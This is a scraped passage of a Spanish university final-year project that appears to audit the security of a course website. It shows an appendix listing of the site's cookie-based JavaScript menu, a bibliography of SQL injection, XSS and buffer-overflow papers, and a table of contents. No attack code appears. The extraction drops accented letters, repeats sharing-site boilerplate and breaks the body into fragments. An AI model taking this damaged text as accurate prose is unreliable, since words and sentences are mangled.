db[13] = new dbRecord(false, "5.1 Reset y Vectores de Interrupcion.","tema2/punto51.htm",2)
db[14] = new dbRecord(false, "5.2 Periferico Memoria Cache.","tema2/punto5-2.htm",2)
db[15] = new dbRecord(false, "5.3 Arranque programado en el TMS320C31: BootLoader.","tema2/punto5-3.htm",2)
db[16] = new dbRecord(true, "6 Operaciones externas del bus.","tema2/punto6.htm",1)
db[17] = new dbRecord(false, "6.1 Estructura Master-Slave en un sistema
microprocesador.","tema2/punto6.htm",2)
db[18] = new dbRecord(false, "6.2 Diagramas de tiempos y estados de
espera.","tema2/punto6-2.htm",2)
db[19] = new dbRecord(false, "6.3 Tiempo de ejecucion y tiempo de
acceso.","tema2/punto6-3.htm",2)
db[20] = new dbRecord(false, "6.4 Peculiaridades en el acceso a
perifericos.","tema2/punto6-4.htm",2)
db[21] = new dbRecord(true, "TEMA 3. FAMILIA TMS320C3x. DESCRIPCION DEL
SOFTWARE.","tema3/tema3.html",0)
db[22] = new dbRecord(false, "1 Introduccin.","tema3/punto1.html",1)
db[23] = new dbRecord(false, "2 Formato de datos.","tema3/punto2.htm",1)
db[24] = new dbRecord(false, "3 Modos de direccionamiento.","tema3/punto3.html",1)
db[25] = new dbRecord(false, "4 Pila.","tema3/punto4.html",1)
db[26] = new dbRecord(false, "5 Sumario de instrucciones.","tema3/punto5.htm",1)
db[27] = new dbRecord(true, "TEMA 4. FAMILIA TMS320C3x: PERIFERICOS
INTERNOS.","tema4/tema4.htm",0)
db[28] = new dbRecord(false, "1 Introduccin.","tema4/punto1.html",1)
db[29] = new dbRecord(false, "2 Entradas-salidas digitales: XF0,
XF1.","tema4/punto2.html",1)
db[30] = new dbRecord(true, "3 Temporizadores.","tema4/punto3.html",1)
db[31] = new dbRecord(false, "3.1 Registros de control y
configuracin.","tema4/punto3-1.html",2)
db[32] = new dbRecord(false, "3.2 Estructura interna y configuracin del perifrico
temporizador.","tema4/punto3-2.html",2)
db[33] = new dbRecord(true, "4 Puertos serie sincronos.","tema4/punto4.html",1)
db[35] = new dbRecord(false, "4.2 Estructura interna y configuracin del perifrico
puerto serie.","tema4/punto4-2.html",2)
db[36] = new dbRecord(false, "4.3 Modos de operacin: Diagramas de
tiempo.","tema4/punto4-3.html",2)
db[37] = new dbRecord(true, "5 Controlador DMA.","tema4/punto5.html",1)
Pg. 352

db[39] = new dbRecord(false, "5.2 Modos de operacin: Sincronizacin de los eventos
DMA.","tema4/punto5-2.html",2)
// ** functions that get and set persistent cookie data **
// set cookie data
function setCurrState(setting) {
document.cookie = "currState=" + escape(setting)
}
// retrieve cookie data
function getCurrState() {
var label = "currState="
var labelLen = label.length
var cLen = document.cookie.length
var i = 0
while (i <= cLen - labelLen) {
var j = i + labelLen
if (document.cookie.substring(i,j) == label) {
var cEnd = document.cookie.indexOf(";",j)
if (cEnd ==
-1) {
cEnd = document.cookie.length
}
return unescape(document.cookie.substring(j,cEnd))
}
i++
}
return ""
}
// **function that updates persistent storage of state**
// toggles an outline mother entry, storing new value in the cookie
function toggle(n) {
if (n != 0) {
var newString = ""
var currState = getCurrState() // of whole outline
var expanded = currState.substring(n-1,n) // of clicked item
newString += currState.substring(0,n-1)
newString += expanded ^ 1 // Bitwise XOR clicked item
newString += currState.substring(n,currState.length)
setCurrState(newString) // write new state back to cookie
}
}
// **functions used in assembling updated outline**
// returns the proper GIF file name for each entry's control
function getGIF(n) {
var mom = db[n].mother // is entry a parent?
var expanded = getCurrState().substring(n-1,n) // of clicked item
if (!mom) {
return "images/image1.gif"
} else {
if (expanded == 1) {
return "images/folder-1.gif"
}
}
return "images/folder-0.gif"
}
// returns the proper status line text based on the icon style
function getGIFStatus(n) {
var mom = db[n].mother // is entry a parent
var expanded = getCurrState().substring(n-1,n) // of rolled item
if (!mom) {
return "No hay ms entradas."
} else {
if (expanded == 1) {
Pg. 353
return "Pulsa para cerrar la carpeta."

}
}
return "Pulsa para abrir la carpeta."
// returns padded spaces (in multiples of 3) for indenting

function pad(n) {
var result = ""
for (var i = 1; i <= n; i++) {
result += "
"
}
return result
}
// initialize 'current state' storage field
if (getCurrState() == "" || getCurrState().length != db.length) {
initState = ""
for (i = 1; i <= db.length; i++) {
initState += "0"
}
setCurrState(initState)
}
// see if user is running a Mac browser for special case handling
function isMac() {
return (navigator.userAgent.indexOf("Macintosh") >= 0) ? true :false
}
// end -->
</SCRIPT>
</head>
<body bgcolor="#99CCCC" text="#000000" link="#99CCCC" vlink="#99CCCC"
alink="#ff0000">
<tr>
<td valign="top">
<p align="center"> <img src="images/gte_small_ani.gif" alt="Grupo de Tecnologa
Electrnica">
</td>
<td bgcolor="#99CCCC"> <b><font face="Arial" color="#006666" size="3"> <small>
Complementos de sistemas electrnicos digitales</small></font> </b></td>
</tr>
</table>
<hr>
<p>
<h1 align="center"><font color=#400080>Temario de la asignatura</font></h1>
<p align="center">
<SCRIPT LANGUAGE="JavaScript">

</SCRIPT>
<br>
<br>
<p aling="center">
<table
width="75%" border="0" cellspacing="0" cellpadding="0">

<tr></tr>
<tr>
<td width=20% align="center">
<img src="images/ofertasfoto[1].jpe" width="61" height="44"
alt="">
<td
align="left" valign="bottom">
<h4 ><A
href="http://www.gte.us.es/fbarrero/csed/download/">ZONA DE DESCARGA DE APUNTES Y
PROBLEMAS RESUELTOS.</A></h4>
</td>
</tr>
</table>
<tr></tr>
<tr>
<td width=20% align="center">
<img src="images/downloads[1].gif" width="61" height="44"
alt="">
<td
align="left" valign="bottom">
<h4><A href="practicas.html">ZONA DE DESCARGA DE
PRCTICAS.</A></h4>
</td>
</tr>
</table>
<br>
<br>
<br>
<p>
<tr>
<td width="10%" align="right">
<a href="index.html"><img src="images/atras.gif" width="17"
height="16" alt=""></a>
<td width="25%" ><font size="-1"><b>Atrs</b></font>
<td
align="right">
Pg. 355
<a href="index.html"><img src="images/hazhome[1].gif"

width="26" height="26" alt=""></a>
<td><b>Volver al inicio</b>
</tr>
</table>
</body>
</html>
Pg. 356
Bibliografa
Bibliografa
1. Libros.
Douglas E. Comer. Redes globales de informacin con Internet y TCP/IP.
Principios bsicos, protocolos y arquitectura. Prentice-Hall. 3 Edicin,
1996. ISBN: 968-880-541-6.
Douglas E. Comer and David L. Stevens. Interconectividad de redes con
TCP/IP. Volumen II. Diseo e implementacin. Prentice Hall. 3 Edicin,
2000. ISBN: 970-26-0000-6.
Andrew S. Tanenbaum. Redes de computadoras. Pearson. 3 Edicin,
1997. ISBN: 968-880-958-6.
Joel Scambray, Stuart McClure and George Kurtz. Hackers 2. Secretos y
soluciones para la seguridad de redes. McGraw-Hill. 1 Edicin, 2001.
ISBN: 84-481-3187-8.
Rain Forest Puppy, Elias Levy, Blue Boar, Dan Kaminsky, Oliver
Friedrichs, Riley Eller, Greg Hoglund, Jeremy Rauch and Georgi
Guninsky. Hack proofing your network: internet tradecraft. Syngress.
2000. ISBN: 1-928994-15-6.
Robert L. Ziegler. Gua avanzada. Firewalls Linux. Prentice Hall.
Madrid, 2000. ISBN: 84-205-2949-4.
Pg. 357
Bibliografa
Danny Goodman. Programacin en JavaScript. Anaya Multimedia, 1997.

ISBN: 84-415-0080-0.
Bruce Schneier. Applied Cryptography: Protocols, Algorthms, and Source
Code in C. John Wiley & Sons, Inc. 2 Edicin, 1996. ISBN: 04-7112845-7.
2. Documentos y recursos en la Red.

Apache HTTP Server Documentation Project. Apache HTTP Server
Version 1.3 Reference Manual.
http://httpd.apache.org/docs/
Stig Sther Bakken, Alexander Aulbach, Egon Schmid, Jim Winstead,
Lars Torben Wilson, Rasmus Lerdorf, Andrei Zmievski and Jouni Ahto.
PHP Manual. PHP Documentation Group. Octubre, 2002.
http://www.php.net/manual/en/
MySQL AB. MySQL Reference Manual for version 4.0.0-alpha.
http://www.mysql.com/Downloads/Manual/manual.pdf
James Hoffman. Introduction to Structured Query Language. V.4.73.
http://www.nj.devry.edu/~kjudge/sqltut.htm
Memonix and MrJade of Roses Labs. Abusing Poor Programming
Techniques in Web Server Scripts (SQL Statements). Agosto, 2001.
http://www.securiteam.com/securitynews/5VP022K56K.html
Hypertext Transfer Protocol -- HTTP/1.1 - Draft Standard RFC 2616.
http://www.ietf.org/rfc/rfc2616.txt.
SK. SQL Injection Walkthrough. Mayo, 2002.
http://www.securiteam.com/securityreviews/5DP0N1P76E.html.
Pg. 358
Bibliografa
David Litchfield. Web Application Disassembly with ODBC Error

Messages. Marzo, 2001.
http://www.nextgenss.com/papers/webappdis.doc
Martin Eizner. Direct SQL Command Injection.
http://www.owasp.org/asac/input_validation/sql.shtml
Cesar Cerrudo. Manipulating Microsoft SQL Server Using SQL Injection.
Septiembre, 2002.
http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Usi
ng_SQL_Injection.pdf
Chris Anley. Advanced SQL Injection in SQL Server applications. Enero,
2002.
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
Chris Anley. More Advanced SQL Injection. Junio, 2002.
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
SPI Dynamics, Inc. SQL Injection. Are your web applications vulnerable?
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
The Cross Site Scripting FAQ. Mayo, 2002.
http://www.cgisecurity.com/articles/xss-faq.shtml
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client
Web Requests. Febrero,2000.
http://www.cert.org/advisories/CA-2000-02.html
David Endler. Evolution of Cross-Site Scripting Attacks. Mayo, 2002.
http://www.idefense.com/idpapers/XSS.pdf
Andrew Clover. Bugtraq post about typical JavaScript-injection hacks.
Mayo, 2002.
http://online.securityfocus.com/archive/1/272037
Fermin J. Serna. iPlanet NG-XSS Vulnerability Analysis. Noviembre,
2002.
http://secure.ngsec.biz:8080/downloads/download.php?file=http://www.n
gsec.com/docs/whitepapers/Iplanet-NG-XSS-analysis.pdf
Pg. 359
Bibliografa
Rain Forest Puppy. Perl CGI problems. Septiembre, 1999.

http://www.wiretrip.net/rfp/p/doc.asp/i1/d6.htm
Aleph One. Smashing the stack for fun and profit. Phrack 49, artculo 14.
Noviembre, 1996.
http://www.phrack.org/show.php?p=49&a=14
Ulf Harnhammar. CRLF Injection.
http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00079.html
Romn Medina-Heigl Hernndez. Boinas Negras: una solucin al
concurso.
http://www.rs-labs.com/papers/boinas-solve.pdf
David Dittrich, The Grugq and Ervin Sarkisov. Investigacin Forense de
Sistemas GNU/Linux, Unix (v.3.0).
http://www.activalink.com/forensics3.php
Crispin Cowan, Calton Pu, David Maier, Heather Hinton, Peat Bakke,
Steve Beattie, Aaron Grier, Perry Wagle and Qian Zhang. Automatic
Detection and Prevention of Buffer-Overflow Attacks. Enero, 1998.
http://www.immunix.org/StackGuard/usenixsc98.pdf
Pg. 360

Proyecto de Fin de Carrera

Cargado por

Copyright:

Formatos disponibles

Proyecto de Fin de Carrera

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Proyecto de Fin de Carrera

Cargado por

Copyright:

Formatos disponibles

Universidad de Sevilla

Escuela Superior de Ingenieros

PROYECTO FIN DE CARRERA

Ttulo: Anlisis de seguridad, optimizacin y mejora de un

Autor: Romn Medina-Heigl Hernndez

A Isabela y toda mi familia

Motivacin y justificacin. .................................................................................. 2

Alcance y objetivo. .............................................................................................. 6

Ataques comunes en la WWW. ......................................................................... 27

Abuso de register_globals en PHP. ........................................................ 42

Herramientas tiles. ........................................................................................... 52

Anlisis de seguridad. ........................................................................................ 66

Mejoras propuestas. ......................................................................................... 137

Captulo 5................................................................................................................. 139

Futuras lneas de trabajo. ................................................................................. 145

Apndice A .............................................................................................................. 147

Apache. ............................................................................................................ 150

PHP. ................................................................................................................. 150

MySQL. ........................................................................................................... 152

Listado del fichero httpd.conf de Apache.................................................... 152

Listado del fichero php.ini de PHP. ............................................................ 168

Apndice B .............................................................................................................. 181

Introduccin. .................................................................................................... 181

Las tablas de privilegios de MySQL................................................................ 182

Operaciones bsicas con MySQL. ................................................................... 183

Modificando permisos en MySQL. ................................................................. 187

El comando grant. ................................................................................ 188

Copias de seguridad en MySQL. ..................................................................... 190

Apndice C .............................................................................................................. 194

Introduccin. .................................................................................................... 194

Descripcin del funcionamiento. ..................................................................... 194

Apndice D .............................................................................................................. 197

Introduccin. .................................................................................................... 197

Apndice E............................................................................................................... 215

Introduccin. .................................................................................................... 215

Volcado de bases de datos correspondientes a CSED. .................................... 215

Apndice F............................................................................................................... 234

Introduccin. .................................................................................................... 234

/admin/borrar_todas_cuestiones.php ................................................... 273

Bibliografa .............................................................................................................. 357

Libros. .............................................................................................................. 357

Documentos y recursos en la Red.................................................................... 358

plasmadas en la figura del director o tutor de proyecto, no deben ser tampoco

Escuela Superior de Ingenieros

aspectos tan importantes (y muy valorados en el panorama profesional) como pueden

Escuela Superior de Ingenieros

de las comunicaciones estaba ms o menos garantizada debido a que pocas

Escuela Superior de Ingenieros

Aunque muy por encima, ambos casos caracterizan y resumen a un campo

Escuela Superior de Ingenieros

Escuela Superior de Ingenieros

Establecimiento de las distintas bases, nociones y terminologa sobre las

Descripcin de las distintas tcnicas y formas de ataque que se podran

Cmo defendernos ante los casos anteriormente descritos, y en general,

Escuela Superior de Ingenieros

Enumeracin de algunas de las muchas herramientas existentes,

Anlisis o auditora de seguridad de las pginas web de Federico Jos

informacin al cliente para que ste tenga constancia de

Escuela Superior de Ingenieros

Sistema de recogida y evaluacin de una encuesta de